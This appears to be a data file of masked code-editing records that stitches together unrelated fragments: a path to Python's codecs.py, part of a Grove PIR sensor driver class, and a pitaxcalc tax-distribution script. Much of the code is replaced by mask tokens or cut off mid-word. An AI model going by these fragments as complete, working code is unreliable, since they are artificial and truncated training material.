/Users/jhajhajhajha1/anaconda/lib/python3.6/codecs.py
normal
{ "blob_id": "0354445d255cc79d3cb9242f82d37e035ff61788", "index": 2410, "step-1": "/Users/jhajhajhajha1/anaconda/lib/python3.6/codecs.py", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
<|reserved_special_token_0|> class Grove_PIR(Pmod_IO): <|reserved_special_token_0|> def __init__(self, mb_info, gr_pin): """Return a new instance of a PIR object. Parameters ---------- mb_info : dict A dictionary storing Microblaze information, such as th...
flexible
{ "blob_id": "15514d5636471b1a311641a40b6a00b81703cd2b", "index": 6488, "step-1": "<mask token>\n\n\nclass Grove_PIR(Pmod_IO):\n <mask token>\n\n def __init__(self, mb_info, gr_pin):\n \"\"\"Return a new instance of a PIR object. \n \n Parameters\n ----------\n mb_info : d...
[ 3, 4, 5, 6, 7 ]
""" app_dist_Tables00.py illustrates use of pitaxcalc-demo release 2.0.0 (India version). USAGE: python app_dist_Tables00.py """ import pandas as pd from taxcalc import * import numpy as np from babel.numbers import format_currency import matplotlib.pyplot as plt from matplotlib.gridspec import GridSpec ...
normal
{ "blob_id": "c3967ab15b8278d958fa5ff6ff48bbfb0b086238", "index": 3729, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor year in range(BASE_YEAR, END_YEAR + 1):\n filename1 = 'dist-table-all-clp-avg-' + str(year) + '.txt'\n df1 = pd.read_fwf(filename1)\n df1.drop('Unnamed: 0', axis=1, inplace=T...
[ 0, 1, 2, 3, 4 ]